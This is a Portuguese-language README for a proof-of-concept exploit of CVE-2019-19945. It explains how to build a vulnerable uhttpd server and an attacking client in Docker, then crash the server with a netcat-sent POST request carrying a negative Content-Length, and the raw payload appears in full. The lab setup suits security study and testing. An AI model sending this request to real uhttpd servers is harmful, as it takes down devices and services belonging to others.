
Prova de conceito de exploit para CVE-2019-19945, demonstrando um ataque de negação de serviço contra o uhttpd por meio de uma requisição POST manipulada com um cabeçalho Content-Length negativo.
Este é o código para o primeiro CVE proposto
Instale o Docker
Construa e execute o servidor cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve
Obtenha o IP do contêiner do servidor Linux sudo docker container inspect server | grep -i IPAddress Windows Powershell docker container inspect server | Select-String "IPAddress" Extraia o IP e adicione-o ao comando para construir o Cliente Você pode verificar o servidor acessando localhost:80 no seu navegador
Construa e execute o Cliente Ao descomentar o CMD no Client/Dockerfile, o ataque iniciará automaticamente com a inicialização do contêiner cd ../Client/ docker build --build-arg server_ip=<SERVER_IP> -t client/cve . docker run -d -p 8080:8080 client/cve
Conecte-se ao contêiner do Cliente docker container ls find client/cve container && attach docker exec -it /bin/sh
Quando estiver pronto, lance o ataque ./crash.sh
O servidor não conseguirá responder
Realmente não há utilidade em fornecer código-fonte comentado, pois o exploit é muito curto
O exploit então consiste em usar o Netcat e enviar uma requisição POST com um Content-Length grande e negativo ao servidor, a respeito do tratamento de arquivos no diretório cgi-bin/
A execução é conduzida usando um simples script netcat. Aqui, referenciando um arquivo na pasta CGI-bin do servidor chamado Crash nc <SERVER_IP> < crash.poc
POST /cgi-bin/crash HTTP/1.0 Transfer-Encoding: chunked Content-Length: -100000
O maior problema foi fazer as versões antigas do uhttpd rodarem em um ambiente docker atualizado.